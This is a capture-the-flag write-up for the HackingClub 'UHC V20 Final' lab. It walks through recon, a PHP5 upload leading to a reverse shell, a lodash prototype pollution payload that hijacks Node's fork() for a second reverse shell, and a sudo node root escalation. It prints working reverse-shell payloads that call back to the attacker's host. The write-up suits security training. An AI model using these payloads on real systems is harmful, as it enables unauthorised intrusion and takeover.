[HackingClub] UHC V20 Final Writeup

Platform: HackingClub
Machine: UHC V20 Final
Category: Web Exploitation
OS: Linux
Difficulty: Hard
lfi prototype pollution node
UHC V20 Machine

## Recon

In the beginning, I used nmap with the following parameters. I found only ports 22, 80 (web server apache using PHP), 111 and 3000 (web server using Express from nodejs).

┌─[ribeirin@parrot]─[~/Documents/machines/hackingclub/uhc-v20-final]
└──╼ $sudo nmap -sSVC -Pn -T5 172.16.7.155
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-16 18:05 -03
Nmap scan report for 172.16.7.155
Host is up (0.17s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.46 (() PHP/7.4.11)
|_http-server-header: Apache/2.4.46 () PHP/7.4.11
|_http-title: Ultimate Hacking CTF Labs | CTF e e-Sports.
|_http-generator: Wordpress 8.2
111/tcp  open  rpcbind 2-4 (RPC #100000)
3000/tcp open  http    Node.js Express framework
|_http-title: Error

The first thing that I made it's discovery new directories from web server in port 80. Here I tried others wordlists to api, directories and files, but doesn't work.

┌─[ribeirin@parrot]─[~/Documents/machines/hackingclub/uhc-v20-final]
└──╼ $ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -u http://172.16.7.155/FUZZ -t 100 -fc 403

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://172.16.7.155/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 403
________________________________________________

uploads                 [Status: 301, Size: 236, Words: 14, Lines: 8, Duration: 156ms]
assets                  [Status: 301, Size: 235, Words: 14, Lines: 8, Duration: 157ms]
.                       [Status: 200, Size: 11279, Words: 3080, Lines: 239, Duration: 153ms]
:: Progress: [107982/107982] :: Job [1/1] :: 660 req/sec :: Duration: [0:02:52] :: Errors: 0 ::

Ok, we have a /uploads that contains a index of files. Maybe we can upload php.

In index.php we have the following code in source code:

<form action="/email.php" method="POST" class="form-with-styler" enctype="multipart/form-data">
    <!--
        <input type="file" name="the_file" id="fileToUpload">
    -->
    <div class="dragArea row">
        <div class="col form-group" data-for="email">
            <input type="text" name="email" placeholder="Your best e-mail" ...>
        </div>
        <div class="mbr-section-btn"><button type="submit">Sign-up</button></div>
    </div>
</form>

This is a form with commented input. Maybe this is the path to gain RCE via Local File Inclusion using PHP shell.

Inside /uploads, we can found a file named shell.php5.

## Exploitation

I'll test this attack vector from input. So lets go make a request with a input email and the_file to /email.php using burp. We can test upload a file with extension php5.

POST /email.php HTTP/1.1
Host: 172.16.7.155
Content-Type: multipart/form-data; boundary=---------------------------1166246811985806323925494029
Content-Length: 384

-----------------------------1166246811985806323925494029
Content-Disposition: form-data; name="email"

teste@gmail.com
-----------------------------1166246811985806323925494029
Content-Disposition: form-data; name="the_file"; filename="teste.php5"
Content-Type: application/x-php

<?php echo "uploads works =D";?>

-----------------------------1166246811985806323925494029--
Request Test Uploads Uploads Working

Now we can get a reverse shell and logging into apache =D. We will use:

<?php system("/bin/bash -c 'sh -i >& /dev/tcp/10.0.10.235/4444 0>&1'");?>

## Post exploitation

In ps aux we have a process with node server running in user uhc in port 3000 (nmap). So we need verify the code inside /opt/uhclabs.

uhc       2759  0.0  2.0 585024 39672 ?        Ssl  21:05   0:00 /usr/bin/node /opt/uhclabs/index.js

Inside /opt/uhclabs we have:

-rw-r--r--  1 uhc uhc  1781 Nov 29  2020 index.js
-rw-r--r--  1 uhc uhc   163 Nov 29  2020 messages.json
drwxr-xr-x 65 uhc uhc  4096 Nov 29  2020 node_modules
-rw-r--r--  1 uhc uhc 18748 Nov 29  2020 package-lock.json
-rw-r--r--  1 uhc uhc   340 Nov 29  2020 package.json
-rw-r--r--  1 uhc uhc   219 Nov 29  2020 store.js

The file messages.json it's like a database to storage messages

Messages JSON

The file store.js it's a function just to write a serialized message in a file .json

Store JS

And below we have the code of index.js:

const express = require('express');
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
const fork = require('child_process').fork;


const users = [
  {name: 'guest', password: 'guest'},
  {name: 'admin', password: Math.random().toString(32), canExec: true}, // do not brute
];

let messages = [];
let lastId = 1;

function findUser(auth) {
  return users.find((u) =>
    u.name === auth.name &&
    u.password === auth.password);
}

app.use(bodyParser.json());


app.get('/api/', (req, res) => {
  res.send(messages);
});


app.put('/api/', (req, res) => {
  const user = findUser(req.body.auth || {});

  if (!user) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  const message = {
    icon: '😈',
  };

  _.merge(message, req.body.message, {
    id: lastId++,
    timestamp: Date.now(),
    userName: user.name,
  });

  messages.push(message);
  res.send({ok: true});
});

app.post('/api/store', (req, res) => {
    const user = findUser(req.body.auth || {});

    if (!user) {
      res.status(403).send({ok: false, error: 'Access denied'});
      return;
    }

    var child = fork('store');
  
    
    child.send(messages);
    child.on('message', function(m) {
        
        console.log('received: ' + m);
        res.send(JSON.stringify(m));
      });
     
  });

app.delete('/api/', (req, res) => {
  const user = findUser(req.body.auth || {});

  if (!user) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  messages = messages.filter((m) => m.id !== req.body.messageId);
  res.send({ok: true});
});


app.listen(3000);
console.log('Listening on port 3000...');

We have four uses to this app using Express:

  • Method GET in /api - just return a message
  • Method PUT in /api - make the merge of our message with old message (here use ._merge function)
  • Method POST in /api/store - here we have a fork() function used in child_process() lib. Also we have a send() function used in the same lib, this method send a Object to a another proc using IPC communication. Basically we have a call to fork()
  • Method DELETE in /api/ - just delete a message

The first thing we gonna test is /api using burp:

PUT /api/ HTTP/1.1
Host: 172.16.7.155:3000
Content-Type: application/json
Content-Length: 64

{"auth":{"name":"guest","password":"guest"},"message":"test"}
Request Testing API PUT Response Testing API PUT

It's working, but the method PUT had created new message. When we try to POST in /api/store, the app doesn't respond.

In the POST route we have a call fork() function. So we can exploit prototype pollution because of this function. Inside request to /api/store, we can call __proto__ to overwrite all Objects created just to add a attributes. But we will create a attributes from fork function just to gain another RCE. So use nc to listen.

POST /api/store HTTP/1.1
Host: 172.16.1.180:3000
Content-Type: application/json
Content-Length: 142

{"auth":{"name":"guest","password":"guest"},"__proto__":{"execPath":"/bin/bash","execArgv":["-c", "sh -i >& /dev/tcp/10.0.10.235/3001 0>&1"]}}
Privesc at UHC

Now we have uhc user, but we need gain access to root. So we have a permission to use /bin/node with sudo with the following payload found in GTFObins.

node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
Privesc at Root
─────────────────────────────────────
HackingClub // UHC V20 Final
ribeir.in
─────────────────────────────────────
<< Back to Writeups